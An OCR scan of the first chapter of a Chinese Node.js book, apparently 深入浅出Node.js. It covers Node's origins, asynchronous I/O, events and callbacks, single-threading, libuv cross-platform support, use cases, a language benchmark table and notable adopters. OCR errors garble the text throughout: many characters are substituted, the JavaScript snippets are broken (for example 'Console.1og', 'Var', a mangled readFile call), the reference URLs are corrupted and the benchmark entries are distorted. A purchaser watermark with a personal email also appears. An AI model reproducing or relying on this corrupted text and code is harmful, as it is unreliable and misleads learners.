日 第 的 业务 开发 ， 所 以 舍弃 它 ; Ryan Dahl 谨 得 目 己 还 不 足够 玩 转 Haskell， 所 以 舍弃 它 ; Lua 上 月 刁 
已 经 含有 很 多 阻塞 IO 库 , 为 其 构建 非 阻 军 WO 库 也 不 能 改变 人 们 继续 使 用 阻塞 1/O 库 的 习惯 , 所 以 
也 舍弃 它 ; 而 Ruby 的 虚拟 机 由 于 性 能 不 好 而 落选 。 

相 比 之 下 ，JavaScript 比 C 的 开发 门 覃 要 低 ， 比 Lua 的 历史 包容 要 少 。 尽 管 服务 估 闪 JavaScript 
存在 已 经 很 多 年 了 ， 但 是 后 端 部 分 一 直 没 有 市 场 ， 可 以 说 历史 包 补 为 和 过， 为 其 导入 非 阻 暑 IO 库 
没有 额外 阻力 。 另 外 ，JavaScript 在 浏览 希 中 有 广泛 的 事件 驱动 方面 的 应 用 ， 暗 合 Ryan Dahl 喜 好 
基于 事件 驱动 的 需求 。 当 时 ， 第 二 次 浏览 硕大 战 也 渐渐 分 出 高 仆 ，Chrome 浏 览 硕 的 JavaScript 引 
掌 V8 搞 得 性 能 第 一 的 桂冠 ， 而 且 其 基于 新 BSD 许 可 证 发 布 ， 目 然 受 到 Ryan Dahl 的 欢迎 。 考 虑 到 
高 性 能 、 符 合 事件 驱动 、 没 有 历史 包 裕 这 3 个 主要 原因 ，JavaScript 成 为 了 Node 的 实现 语言 。 


1.2.2 ”为 什么 叫 Node 


起 初 ，Ryan Dahl 称 他 的 项 目 为 web.js， 就 是 一 个 Web 服 务 融 ， 但 是 项 目的 发 展 超过 了 他 最 初 
单纯 开发 一 个 Web 服 务 右 的 想法 ， 变 成 了 构建 网 络 应 用 的 一 个 基础 框架 ,这样 可 以 在 它 的 基础 上 
构建 更 多 的 东西 ,诸如 服务 絮 、 客 户 端 、 命 令 行 工 具 等 。Node 发 展 为 一 个 强制 不 共享 任何 资源 的 
单线 程 、 单 进程 系统 ,包含 十 分 适宜 网 络 的 库 ， 为 构建 大 型 分 布 式 应 用 程序 提供 基础 设施 ， 其 目 

A A 证: 证 人 HRV 多 


标 也 是 成 为 一 个 构建 快速 、 可 伸缩 的 网 络 应 用 平台 。 它 寸 通 信 组 组 i 
Node 第 容易 通过 扩展 来 达成 构建 大 型 网 络 应 用 的 目 雁 


和 一 个 汪 占 Na 今 音 习 和 直 谤 


1.3 ”Node 给 JavaScript 带 来 的 意义 


V8 给 Chrome 浏 览 需 市 来 了 一 个 强劲 的 心脏 ， 使 得 它 在 浏览 右 大 战 中 脱 宁 而 出 ， 也 使 得 Ryan 
Dahl 在 语言 评估 中 为 选择 JavaScript 增 加 了 一 个 极 大 的 权重 值 。 这 里 我 们 要 谈 谈 Node 给 JavaScript 
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1.3 ”Node 给 JavaScript 带 来 的 意义 3 


带 来 的 一 个 新 局 面 。 鉴 于 Node 之 前 那些 不 给 力 的 后 端 JavaScript 实 现 ， 在 性 能 和 编程 模型 等 方面 和 
没 能 达到 与 其 他 语言 一 较 高 下 的 程度 ， 这 里 先 撒 开 不 谈 ， 先 谈 谈 Node 与 浏览 硕 的 对 比 。 
Chrome 浏 览 融 和 Node 的 组 件 构成 如 图 1-1 所 示 。 我 们 知道 浏览 融 中 除了 V8 作 为 JavaScript 引 | 警 
外 ， 还 有 一 个 WebKit 布 局 引擎 。 HTMLS 在 发 展 过 程 中 定义 了 更 多 更 丰富 的 API。 在 实现 上 ， 浏 
览 器 提供 了 越 来 越 多 的 功能 暴露 给 JavaScript 和 HTMIL 标签。 这 个 愿景 美好 , 但 对 于 前 端 浏 览 器 的 
发 展现 状 而 言 ，HTMLS 标 准 统一 的 过 程 是 相对 缓慢 的 。JavaScript 作 为 一 门 图 灵 完 备 的 语言 ， 长 
入 以 来 却 限制 在 浏览 器 的 沙 箱 中 运行 ， 它 的 能 力 取决 于 浏览 器 中 间 层 提供 的 支持 有 多 少 。 


(Chrome Node 


图 1-1 ”Chrome 浏览 絮 和 Node 的 组 件 构 成 


除了 HTML、WebKit 和 显卡 这 些 UI 相 关 技 术 没 有 文 持 外 ，Node 的 结构 与 Chrome 十 分 相似 。 
它们 都 是 基于 事件 驱动 的 异步 架构 , 浏览 器 通过 事件 驱动 来 服务 界面 上 的 交互 , Node 通 过 事件 驱 
动 来 服务 IO ， 这 个 细节 将 在 第 3 草 中 详 述 。 在 Node 中 ，JavaScript 可 以 随心 所 欲 地 访问 本 地 文件 ， 
可 以 搭建 WebSocket 服 务 器 端 ， 可 以 连接 数据 库 ， 可 以 如 Web Workers 一 样 玩 转 多 进程 。 如 今 ， 
JavaScript 可 以 运行 在 不 同 的 地 方 ， 不 再 继续 限制 在 浏览 硕 中 与 CSS 样 式 表 、DOM 树 打交道 。 如 
末 HTTP 协 议 栈 是 水 平面 ,Node 就 是 浏览 需 在 协议 栈 另 一 边 的 倒影 。Node 不 处 理 UI， 但 用 与 浏览 
人 乞 相同 的 机 制 和 原理 运行 。Node 打 破 了 过 去 JavaScript 只 能 在 浏览 硕 中 运行 的 局 面 。 前 后 端 编程 
环境 统一 ， 可 以 大 大 降低 前 后 端 转换 所 需要 的 上 下 文 交 换代 价 。 

对 于 前 端 工 程 师 而 言 , 目 己 所 熟悉 的 JavaScript 如 今 竟 然 可 以 在 另 一 个 地 方 放出 异彩 , 不 谈 其 
他 原因 ， 仪 仪 因为 好 奇 ， 就 值得 去 关注 和 探究 它 。 


随 着 Node 的 出 现 ， 关 于 JavaScript 的 想象 总 是 无 限 的 。 目 前 ， 社 区 已 经 出 现 
node-webkit 这 样 的 项 目 , 这 个 项 目 在 2012 年 的 沪 JS 会 议 上 首次 介绍 给 了 公众 。 如 同上 文 
提 及 的 关于 浏览 器 的 优势 和 限制 ， 在 node-webkit 项 目 中 ， 它 将 Node 中 的 事件 循环 和 
WebKit 的 事件 循环 融合 在 一 起 ， 既 可 以 通过 它 享受 HTML 、CSS 带 来 的 UI 构 建 ， 也 能 通 
过 它 访 问 本 地 资源 ， 将 两 者 的 优势 整合 到 一 起 。 桌 面 应 用 程序 的 开发 可 以 完全 通过 
HTML、CSS、JavaScript 完 成 。 
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1.4 Node 的 特点 


作为 后 端 JavaScript 的 运行 平台 ，Node 保 留 了 前 妆 浏 览 大 JavaScript 中 那些 熟悉 的 接口 ， 没 有 
改写 语言 本 身 的 任何 特性 , 依旧 基于 作用 域 和 原型 链 , 区 别 在 于 它 将 前 端 中 广泛 运用 的 思想 迁移 
到 了 服务 兹 端 。 下 面 我 们 来 看 看 Node 相 较 其 他 语言 的 一 些 特点 。 


1.4.1 异步 |/O 
关于 寞 步 WO， 疝 前 痢 工 程 师 解释 起 来 或 许 会 容易 一 些 ， 因 为 发 起 Ajax 调 用 对 于 前 疾 工 程 师 
而 言 是 再 熟悉 不 过 的 场景 了 。 下 面 的 代码 用 于 发 起 一 个 Ajax 请 求 : 


$.post('/url'，{title: “深入 浅 出 Node.js'}，function (data) { 
Console.1og( ' 收 到 响应 ) 


7 

熟悉 异步 的 用 户 必然 知道 ,“ 收 到 啊 应 ”是 在 “发 送 Ajax 结 束 ” 之 后 输出 的 。 在 调用 $.post() 
后 ， 后 续 代 码 是 被 立即 执行 的 ， 而 “ 收 到 啊 应 ”的 执行 时 间 是 不 被 预期 的 。 我 们 只 知道 它 将 在 这 
个 异步 请 求 结 束 后 执行 , 但 并 不 知道 具体 的 时 间 点 。 异步 调用 中 对 于 结果 值 的 捕获 是 符合 “Don’t 
call me, I will call you” 的 原则 的 ， 这 也 是 注重 结果 ， 不 关心 过 程 的 一 种 表现 。 图 1-2 是 一 个 经 典 
的 Ajax 调 用 。 


服务 


] 老 和 + bb 和 

post 请 求 | Ajax 请 求 一 一 一 
1 
处 理 请 求 
1 


其 他 调用 


一 一 一 响应 数据 


执行 回调 | 


图 1-2 ”经典 的 Ajax 调 用 


在 Node 中 ， 异 步 IO 也 很 常见 。 以 读 取 文件 为 例 ， 我 们 可 以 看 到 它 与 前 端 Ajax 调 用 的 方式 是 
极其 类 似 的 : 


图 灵 社 区 会 员 Eric Liu(guangqiang.dev@gmail.com) 专 享 尊重 版 权 


1.4 Node 的 特点 5 


var fs = require('fs'); 


fs.readFile('/path', function (err, file) { 
console.log(' 读 取 文 件 完成 ') 
}); 
console.log(' 发 起 读 取 文件 '); 
这 里 的 “发 起 讯 取 文 件 ” 是 在 “ 读 取 文件 完成 ”之 前 输出 的 。 同 样 ,，“ 读 取 文 件 完成 ”的 执 
行 也 取决 于 读 取 文件 的 异步 调用 何 时 结束 。 图 1-3 是 一 个 经 典 的 异步 调用 。 


fs.readFile() 


异步 调用 一 一 「] 
处 理 请 求 


| 


在 Node 中 ， 绝 大 多 数 的 操作 都 以 异步 的 方式 进行 调用 。Ryan Dahl 排 除 万 难 ， 在 底层 构建 了 
很 多 异步 JO 的 API， 从 文件 读 取 到 网 络 请 求 等 ， 均 是 如 此 。 这 样 的 意义 在 于 ,在 Node 中 ,我 们 可 
以 从 语言 层面 很 日 然 地 进行 并 行 WO 操 作 。 每 个 调用 之 间 无 须 等 得 之 前 的 VO 调用 结束 。 在 编程 模 
型 上 可 以 极 大 提升 效率 。 

下 面 的 两 个 文件 读 取 任务 的 耗 时 取决 于 最 慢 的 那个 文件 恋 取 的 耗 时 : 

fs.readFile('/path1', function (err, file) { 

console.1og( ' 读 取 文 件 1 完 成 ) ; 

0 function (err, file) { 

console.1og( ' 读 取 文 件 2 完 成 ) ; 


}); 

而 对 于 同步 WO 而 言 ， 它 们 的 耗 时 是 两 个 任务 的 耗 时 之 和 。 这 里 异步 市 来 的 优势 是 显 而 吻 
见 的 。 

天 于 异步 IO 是 如 何 提 升 效 率 的 及 其 本 身 的 机 制 和 实现 ， 我 们 将 在 第 3 草 中 详 述 。 


其 他 调用 


一 一 一 一 返回 数据 
执行 回调 


图 1-3 经典 的 异步 调用 
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1.4.2 ”事件 与 回调 函数 


随 着 Web 2.0 时 代 的 到 来 ，JavaScript 在 前 端 担 任 了 更 多 的 职责 ， 事 件 也 得 到 了 广泛 的 应 用 。 
Node 不 像 Rhino 那 样 受 Java 的 影响 很 大 ， 而 是 将 前 端 浏 览 疮 中 应 用 广泛 且 成 贺 的 事件 引入 后 端 ， 
配合 异步 IO， 将 事件 点 又 露 给 业务 逻辑 。 

下 面 的 例子 展示 的 是 Ajax 异步 提交 的 服务 硕 端 处 理 过 程 。Node 创 建 一 个 web 服务 硕 ,， 并 侦 听 
8080 端 口 。 对 于 服务 器 ， 我 们 为 其 绑 定 了 request 事 件 ， 对 于 请 求 对 象 ， 我 们 为 其 绑 定 了 data 事 
件 和 end 事 件 : 


Var http = require('http'); 
var querystring = require('querystring'); 


// 侦 听 服务 器 的 Tequest 事 件 
http.createServer(function (req, res) { 
Var postData = "'; 
req.setEncoding('utf8'); 
// 侦 听 请 求 的 data 事 件 
req.on('data', function (trunk) { 
postData += trunk; 


]) 

// 侦 听 请 求 的 end 事 件 

req.on('end', function () { 
res.end(postData); 


}); 
}) .listen(8080); 
console.log(' 服 务 器 启动 完成 '); 
相应 地 ， 我 们 在 前 端 为 Ajax 请 求 绑 定 了 success 事 件 ， 在 发 出 请 求 后 ， 只 需 关心 请 求 成 功 时 

执行 相应 的 业务 人 逻辑 即 可 ， 相 关 代 人 码 如 下 : 

$.ajax({ 

UL : '/url', 

method : “POST ， 

'data' : {}, 

'success': function (data) { 

// success 事 件 


} 
}); 


相 比 之 下 ， 无 论 在 前 并 还 是 后 问 ， 事 件 都 是 第 用 的 。 对 于 其 他 语言 来 说 ， 这 种 俯 拾 丝 是 
JavaScript 的 鸣 悉 感觉 是 基本 不 会 出 现 的 。 

事件 的 编程 方式 具有 轻 量 级 、 松 灯 合 、 只 关注 事务 点 等 优势 , 但 是 在 多 个 异步 任务 的 场景 下 ， 
事件 与 事件 之 间 各 目 独 立 ， 如 何 协 作 是 一 个 问题 。 

从 前 面 可 以 看 到 ,回调 函数 无 处 不 在 。 这 是 因为 在 JavaScript 中 , 我 们 将 函数 作为 第 一 等 公民 
来 对 待 ， 可 以 将 另 数 作为 对 象 传递 给 方法 作为 实 参 进 行 调用 。 

与 其 他 的 Web 后 端 编程 语言 相 比 , Node 除 了 异步 和 事件 外 , 回调 函数 是 一 大 特色 。 纵 观 下 来 ， 
回调 亢 数 也 是 最 好 的 接 有 党 异步 调用 返回 数据 的 方式 。 但 是 这 种 编程 方式 对 于 很 多 习惯 同步 思路 编 
程 的 人 来 说 ,也 许 是 十 分 不 习惯 的 。 代 码 的 编写 顺序 与 执行 顺序 并 无 关系 ,这 对 他 们 可 能 造成 阅 
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1.4 Node 的 特点 了 


读 上 的 障碍 。 在 流程 控制 方面 ， 因 为 穿插 了 异步 方法 和 回调 函数 ,与 第 规 的 同步 方式 相 比 ， 变 得 
不 那么 一 目 了 然 了 。 

在 转变 为 异步 编程 思维 后 , 通过 对 业务 的 划分 和 对 事件 的 提 烧 , 在 流程 控制 方面 处 理 业务 的 
复杂 度 与 同步 方式 实际 上 和 是 一 致 的 。 

天 于 流程 控制 和 事件 协作 的 方法 和 技巧 ， 我 们 将 在 第 4 草 中 进一步 探讨 。 


1.4.3 ”单线 程 


Node 保 持 了 JavaScript 在 浏览 需 中 单线 程 的 特点 。 而 且 在 Node 中 ，JavaScript 与 其 余 线程 是 无 
法 共享 任何 状态 的 。 单 线程 的 最 大 好 处 是 不 用 像 多 线程 编程 那样 处 处 在 意 状态 的 同步 问题 , 这 里 
没有 和 死 锁 的 存在 ， 也 没有 线程 上 下 文 交 换 所 市 来 的 性 能 上 的 开销 。 

同样 , 单线 程 也 有 它 目 身 的 弱点 ,， 这些 弱 点 是 学 习 Node 的 过 程 中 必须 要 面 对 的 。 积 极 面 对 这 
些 弱 点 ， 可 以 享受 到 Node 读 来 的 好 处 , 也 能 避免 潜在 的 问题 , 使 其 得 以 高 效 利 用 。 单 线程 的 弱点 
具体 有 以 下 3 方面 。 

口 无 法 利用 多 核 CPU。 

口 错误 会 引起 整个 应 用 退出 ， 应 用 的 健壮 性 值得 考验 。 

口 大量 计算 占用 CPU 导致 无 法 继续 调用 异步 IO。 

像 浏 览 锅 中 JavaScript 与 UI 共 用 一 个 线程 一 样 ，JavaScript 长 时 间 执 行 会 导致 UI 的 泻 染 和 啊 应 
被 中 断 。 在 Node 中 ,长 时 间 的 CPU 占用 也 会 导致 后 续 的 异步 IO 发 不 出 调用 ,已 完成 的 异步 IO 的 
回调 函数 也 会 得 不 到 及 时 执行 。 

最 早 解决 这 种 大 计算 量 问 题 的 方案 是 Google 公 司 开发 的 Gears。 它 启用 一 个 完全 独立 的 进程 ， 
将 需要 计算 的 程序 发 送 给 这 个 进程 , 在 结果 得 出 后 ,通过 事件 将 结果 传递 回来 。 这 个 模型 将 计算 
量 分 发 到 其 他 进程 上 上， 以 此 来 降低 运算 造成 阻塞 的 几率 。 后 来 ，HTML5 定 制 了 Web Workers 的 标 
准 ，Google 放 弃 了 Gears， 全 力 文 持 Web Workers。Web Workers 能 够 创建 工作 线程 来 进行 计算 ， 以 
解决 JavaScript 大 计算 阻塞 UI 泻 染 的 问题 。 工 作 线 程 为 了 不 阻塞 主线 程 ， 通 过 消息 传递 的 方式 来 
传递 运行 结果 ， 这 也 使 得 工作 线程 不 能 访问 到 主线 程 中 的 UI。 

Node 采 用 了 与 Web Workers 相 同 的 思路 来 解决 单线 程 中 大 计算 量 的 问题 : child_process。 

子 进程 的 出 现 ， 意 味 厦 Node 可 以 从 容 地 应 对 单线 程 在 健壮 性 和 无 法 利用 多 核 CPU 方 面 的 问 
题 。 通 过 将 计算 分 发 到 各 个 子 进程 ， 可 以 将 大 量 计算 分 解 挥 ,然后 再 通过 进程 之 间 的 事件 消息 来 
传递 结果 ,这 可 以 很 好 地 保持 应 用 模型 的 简单 和 低 依 赖 。 通 过 Master-Worker 的 管理 方式 , 也 可 以 
很 好 地 管理 各 个 工作 进程 ， 以 达到 更 高 的 健壮 性 。 

关于 如 何 通 过 子 进 程 来 充分 利用 人 硬件 资源 和 提升 应 用 的 健壮 性 ， 这 是 一 个 值得 探究 的 话题 。 
怎样 才能 使 我 们 既 享 受到 无 忧 无 虑 的 单线 程 编程 ， 叉 高 效 利 用 资源 呢 ? 请 挪 步 到 第 9 章 。 


1.4.4 ” 跨 平 台 


起 初 ，Node 只 可 以 在 Linux 平 台 上 运行 。 如 果 想 在 Windows 平 人 台 上 学 习 和 使 用 Node， 则 必须 
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通过 Cygwin 或 者 MinGW 。 随 着 Node 的 发 展 , 微软 注意 到 了 它 的 存在 , 并 投入 了 一 个 团队 帮助 Node 
实现 Windows 平 台 的 兼容 ， 在 v0.6.0 版 本 发 布 时 ，Node 已 经 能 够 直接 在 Windows 平 台 上 运行 了 。 
图 1-4 是 Node 基 于 libuv 实 现 览 平台 的 架构 示意 网 。 


Node.js 


libuv 


图 1-4 Node 基于 libuv 实 现 跨 平台 的 架构 示意 图 


兼容 Windows 和 *nix 平 台 主 要 得 葵 于 Node 在 架构 层面 的 改动 , 它 在 操作 系统 与 Node 上 层 模块 
系统 之 间 构 建 了 一 层 平 台 层 架构 , 即 libuv。 目前 , libuvy 已 经 成 为 许多 系统 实现 跨 平台 的 基础 组 件 。 
关于 libuv 的 设计 ， 我 们 将 在 第 3 草 中 介绍 。 

通过 良好 的 架构 ， Node 的 第 三 方 C++ 模块 也 可 以 借助 libuv 实 现 跨 平台 。 目 前 ,除了 没有 保持 
更 新 的 C++ 模块 外 ， 大 部 分 C++ 模块 都 能 实现 路 平台 的 兼容 。 


1.5 ”Node 的 应 用 场景 


在 进行 技术 选 型 之 前 , 需要 了 解 一 项 新 技术 具体 适合 什么 样 的 场景 ,毕竟 合适 的 技术 用 在 合 
适 的 场景 可 以 起 到 意 想 不 到 的 效果 。 关 于 Node， 探 讨 得 较 多 的 主要 有 IO 密集 型 和 CPU 密集 型 。 


1.5.1 IO 密集 型 


在 Node 的 推广 过 程 中 ， 无 数 次 有 人 问 起 Node 的 应 用 场景 是 什么 。 如 果 将 所 有 的 脚本 语言 拿 
到 一 处 来 评判 ， 那 么 从 单线 程 的 角度 来 说 ，Node 人 处 理 VO 的 能 力 是 值得 坚 起 拇指 称赞 的 。 通 常 ， 
说 Node 擅 长 IO 密集 型 的 应 用 场景 基本 上 是 没 人 反对 的 。Node 面 加 网络 且 擅 长 并 行 JO ,能够 有 效 
地 组 织 起 更 多 的 便 件 资源 ， 从 而 提供 更 多 好 的 服务 。 

IO 密集 的 优势 主要 在 于 Node 利 用 事件 循环 的 处 理 能 力 ， 而 不 是 局 动 每 一 个 线程 为 每 一 个 请 
求 服务 ， 资 源 占用 极 少 。 


1.5.2 是否 不 擅长 CPU 密 集 型 业务 


换 一 个 角度 ， 在 CPU 密 集 的 应 用 场景 中 ，Node 是 否 能 胜任 呢 ?” 实 际 上 ，V8 的 执行 效率 是 十 
分 局 的 。 单 以 执行 效率 来 做 评判 ，V8 的 执行 效率 是 志 良 置疑 的 。 
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我 们 将 相同 的 斐 波 那 契 数列 计算 lo-=0，A=1 ， Jo E2) ) 分 别 用 各 种 脚本 语言 
写 了 算法 实现 ， 并 进行 了 n= 40 的 计算 ， 以 比较 性 能 。 这 个 测试 主要 偏重 CPU 栈 操作 ， 表 1-1 是 其 
中 一 次 运算 耗 时 的 排行 。 在 这 些 脚 本 语言 中 ( 其 中 C 和 Go 语言 是 静态 语言 ， 用 于 参考 )，Node 是 
足够 高 效 的 ， 它 优秀 的 运算 能 力主 要 来 自 V8 的 深 上 度 性 能 优化 。 


表 1-1 计算 非 波 那 契 数列 的 耗 时 排行 


语 言 用 户 态 时 间 排 ”名 版 ”本 

C with -O2 0m0.202s #0 1686-apple-darwinl1l-llvm-gcc-4.2 (GCC) 4.2.1 
(Based on Apple Inc. build 5658) (LLVM build 2336.11.00) 

Node (C++ 模块 ) ”0m1.001s #1 v0.8.8, gcc -O02 

Java 0m1.305s #2 Java(TM) SE Runtime Environment (build 1.6.0 33-b10-428-11M3811) 
Java HotSpot(TM) 64-Bit Server VM (build 20.10-b01-428, mixed mode) 

Go 0m1.667s #3 Go verslon go1.0.2 

Scala 0m1.808s #4 Scala code runner version 2.9.2 -- Copyright 2002-2011, LAMP/EPFL 

LuaJIT 0m2.379s #5 LuaJIT 2.0.0-betal0 -- Copyright (C) 2005-2012 Mike Pall. 

Node 0m2.872s #6 V0.8.8 

Ruby 2.0.0-p0 O0m27.777s #7 ruby 2.0.0p0 (2013-02-24 revision 39474) [x86 64-darwin12.2.0] 

pypy 0m30.010s #8 Python 2.7.2 (341lele3821ff, Jun 07 2012, 15:42:54) [PyPy 1.9.0 with 
GCC 4.2.1] 

Ruby 1.9.x 0m37.404s #9 ruby 1.9.3p194 (2012-04-20 revision 35410) [x86 64-darwin12.1.0] 

Lua 0m40.709s #10 Lua 3.1.4 Copyright (C) 1994-2008 Lua.org, PUC-Rio 

Jython 0m53.699s #11 Jython 2.3.2 

PHP 1m17.728s #12 PHP 5.4.6 (cli) (built: Sep 8 2012 23:49:53) 

Python 1m17.979s #13 Python 2.7.2 

Perl 2m41.259s #14 This is perl $, version 12, subversion 4 (v5.12.4) built for darwin-thread- 
multi-2level 

Ruby 1.8.x 3m35.1353s #15 ruby 1.8.7 (2012-02-08 patchlevel 358) [universal-darwin12.0] 


这 样 的 测试 结 采 尽管 不 能 完全 反映 出 各 个 声言 的 性 能 优 劣 ,但 已 经 可 以 表明 Node 在 性 能 上 不 
俗 的 表现 ,从 为 一 个 角度 来 说 ,这 可 以 表明 CPU 密 集 型 应 用 其 实 并 不 可 怕 。CPU 密 集 型 应 用 给 Node 
审 来 的 挑战 主要 是 : 由 于 JavaScript 单 线程 的 原因 ， 如 果 有 长 时 间 运 行 的 计算 ( 比如 大 循环 )， 将 
会 导致 CPU 时 间 片 不 能 释放 ， 使 得 后 续 LIO 无 法 发 起 。 但 是 适当 调整 和 分 解 大 型 运算 任务 为 多 个 
小 任务 ， 使 得 运算 能 人 够 适时 释放 ， 不 阻塞 IJO 调 用 的 发 起 ， 这 样 既 可 同时 享受 到 并 行 异 步 LO 的 好 
处 ， 又 能 充分 利用 CPU。 

关于 CPU 密集 型 应 用 ,Node 的 异步 IO 已 经 解 决 了 在 单线 程 上 CPU 与 IO 之 间 阻 塞 无 法 重 故 
利用 的 问题 ，ILO 阻 塞 造成 的 性 能 浪费 远 比 CPU 的 影响 小 。 对 于 长 时 间 运 行 的 计算 ， 如 果 它 的 
耗 时 超过 普通 阻 赛 IO 的 耗 时 , 那么 应 用 场景 怠 需 要 重新 评 佑 , 因为 这 类 计算 比 阻 塞 IO 还 影 啊 
效率 ， 甚 至 说 就 是 一 个 纯 计 算 的 场景 ， 根 本 没有 LO。 此 类 应 用 场景 或 许 应 当 采 用 多 线程 的 方 
式 进 行 计 算 。Node 虽 然 没 有 提供 多 线程 用 于 计算 文 持 ， 但 是 还 是 有 以 下 两 个 方式 来 充分 利 
用 CPU。 

口 Node 可 以 通过 编写 C/C++ 打 展 的 方式 更 高 歼 地 利用 CPU ， 将 一 些 V8 不 能 做 到 性 能 极致 的 
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地 方 通 过 C/C++ 来 实现 。 由 上 面 的 测试 结果 可 以 看 到 ,通过 C/C++ 扩展 的 方式 实现 翡 波 那 
下 数列 计算 ， 速 度 比 Java 还 快 。 

口 如 果 单 线程 的 Node 不 能 满足 需求 , 甚至 用 了 C/C++ 扩 展 后 还 党 得 不 人 够 , 那么 通过 子 进程 的 
方式 ， 将 一 部 分 Node 进 程 当做 常 驻 服务 进程 用 于 计算 ， 然后 利用 进程 间 的 消息 来 传递 结 
采 ， 将 计算 与 VO 分 离 ， 这 样 还 能 充分 利用 多 CPU，。 

CPU 密集 不 可 怕 ， 如 何 合理 调度 是 诀窍 。 


1.5.3 与 遗留 系统 和 平 共 处 


有 人 会 说 :“JavaScript 一 统 前 后 问 了 , 将 来 会 不 会 干 挥 其 他 的 语言 ” ”言语 中 充满 了 危机 感 。 

在 Web 问 ， 过 去 大 多 都 是 同步 的 方式 编写 的 程序 ， 这 种 串 行 调用 下 层 应 用 数据 的 过 程 中 充斥 
春 串 行 的 等 竺 时间, 如 有 果 采 用 多 线程 来 解决 这 种 串 行 等 待 ， 又 或 多 或 少 地 显得 小 题 大 作 。 在 Node 
中 ,声言 层面 即 可 天 然 并 行 的 特性 在 这 种 场景 中 显得 十 分 有 效 。 对 于 已 有 的 稳定 系统 ,并非 意味 
着 我 们 要 抛弃 挥 。 

LinkedIn 在 他 们 的 移动 版 网 站 上 的 实践 非常 典型 地 说 明了 这 个 问题 。 旧 有 的 系统 具有 非常 稳 
定 的 数据 输出 ,持续 为 传统 网 站 服务 , 同时 为 移动 版 提供 数据 源 , Node 将 该 数据 源 当 做 数据 接口 ， 
发 挥 异步 并 行 的 优势 ， 而 不 用 关心 它 背 后 是 用 什么 语言 实现 的 。 

这 方面 ， 国 内 的 雪 球 财经 也 有 很 好 的 实践 。 雪 球 财 经 是 从 旧 有 的 Java 项 目 中 分 离 出 一 个 子 项 
目 ， 在 这 个 子 项 目 中 ， 没 有 继续 采用 Java/JSP 而 是 采用 Node 来 完成 Web 问 的 开发 ， 使 得 前 端 工 程 
师 在 HTTP 协议 栈 的 两 端 能 够 高 效 灵 活 地 开发 ， 避 倪 了 Java 烦 琐 的 表达 ; 另 一 方面 ， 又 利用 Java 
作为 后 端 接口 和 中 间 件 ， 使 其 具有 民 好 的 稳定 性 。 两 者 互相 结合 ， 取 长 补 短 。 


1.5.4 分布 式 应 用 


阿里 巴巴 的 数据 平台 对 Node 的 分 布 式 应 用 算是 一 个 典型 的 例子 。 分 布 式 应 用 意味 着 对 可 伸缩 
性 的 要 求 非常 高 。 数据 平台 通常 要 在 一 个 数据 库 集群 中 去 寻找 知 要 的 数据 。 阿 里 巴巴 开发 了 中 间 
层 应 用 NodeFox、ITier， 将 数据 库 集群 做 了 划分 和 映射 ， 查 询 调 用 依旧 是 针对 单 张 表 进行 SQL 查 
询 , 中间 层 分 解 查询 SQL , 并 行 地 去 多 人 台数 据 库 中 获取 数据 并 合并 .NodeFox 能 实现 对 多 人 台 MySQL 
数据 库 的 查询 ， 如 同 查询 一 台 MySQL 一 样 ， 而 ITier 更 强大 ， 查 询 多 个 数据 库 如 同 查询 单个 数据 
库 一样 ， 这 里 的 多 个 数据 库 是 指 不 同 的 数据 库 ， 如 MySQL 或 其 他 的 数据 库 。 

这 个 案例 其 实 也 是 高 效 利 用 并 行 JO 的 例子 。Node 高 效 利 用 并 行 UO 的 过 程 ， 也 是 高 效 使 用 数 
据 库 的 过 程 。 对 于 Node， 这 个 行为 只 是 一 次 普通 的 IO。 对 于 数据 库 而 言 ， 却 是 一 次 复杂 的 计算 ， 
所 以 也 是 进而 充分 压榨 硬件 资源 的 过 程 。 


1.6 ”Node 的 使 用 者 


在 短 短 四 年 多 的 时 间 里 ，Node 变 得 非常 热门 ， 使 用 者 也 非常 多。 这 些 使 用 者 对 于 Node 的 各 
目 倚 重点 也 各 不 相同 。 经 过 整理 ， 主 要 有 下 面 几 类 。 
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口 前 后 端 编程 语言 环境 统一 。 这 类 倚重 点 的 代表 是 雅虎 。 雅 虎 开 放 了 Cocktail 框 架 ， 利 用 自 
己 深 厚 的 前 端 沉 淀 ， 将 YUI3 这 个 前 端 框 架 的 能 力 借 助 Node 延 伸 到 服务 融 端 ， 使 得 使 用 者 
摆脱 了 日 党 工作 中 一 边 写 JavaScript 一 边 写 PHP 所 窜 来 的 上 下 文 交换 负担 。 

口 Node 带 来 的 高 性 能 MO 用 于 实时 应 用 。Voxer 将 Node 应 用 在 实时 语音 上 。 国 内 腾讯 的 朋友 
网 将 Node 应 用 在 长 连接 中 ， 以 提供 实时 功能 ， 花 办 网 、 蔬 菇 街 等 公司 通过 socket.io 实 现实 
时 通知 的 功能 。 

口 并 行 JO 使 得 使 用 者 可 以 更 高 效 地 利用 分 布 式 环境 。 阿 里 巴巴 和 eBay 是 这 方面 的 典型 。 阿 
里 巴巴 的 NodeFox 和 eBay 的 qlio 都 是 借用 Node 并 行 IO 的 能 力 ， 更 高 效 地 使 用 已 有 的 数据 。 

口 并 行 /O， 有 效 利用 稳定 接口 提升 Web 泻 染 能 力 。 雪 球 财 经 和 LinkedIn 的 移动 版 网 站 均 是 
这 种 案例 , 撤 弃 同步 等 待 式 的 顺序 请 求 , 大 胆 采 用 并 行 WO, 加 速 数 据 的 获取 进而 提升 Web 
的 泻 染 速度 。 

口 云 计 算 平 台 提 供 Node 支 持 。 微 软 将 Node 引 入 Azure 的 开发 中 ， 阿 里 云 、 百 度 均 纷纷 在 云 
服务 器 上 提供 Node 应 用 托管 服务 ，Joyent 更 是 云 计 算 中 提供 Node 支 持 的 代表 。 这 类 平台 
看 重 JavaScript 市 来 的 开发 上 的 优势， 以 及 低 资 源 占 用 、 高 性 能 的 特点 。 

口 游戏 开发 领域 。 游 戏 领 域 对 实时 和 并 发 有 很 高 的 要 求 ， 网 易 开源 了 pomelo 实 时 框架 ， 可 
以 应 用 在 游戏 和 高 实时 应 用 中 。 

口 工具 类 应 用 。 过 去 依赖 Java 或 其 他 语言 构建 的 前 端 工 具 类 应 用 , 纷纷 被 一 些 前 端 工程 师 用 
Node 重 写 ， 用 前 端 熟悉 的 语言 为 前 端 构建 熟悉 的 工具 。 


1.7 参考 资源 


DQ http:/www.infoq.com/cn/articles/what-1s-node]s 

DQ https://github.com/popular/watched 

D http://groups.google.com/group/node]js/browse thread/thread/8Sf6a3829bc64cb6 

D http://groups.go0gle.com/groups/profile?enc user=dPo6jggAAACthftLMWCfUq8U6obMz179 
DQ http://search.npm]js.org/ 

DQ http://code.google.com/p/v8/ 

DQ http://cnodejs.org/top1ic/4f16442ccaelf4aa27001137 

DQ http://weibo.com/1744667943/eBszJXcEsX1 

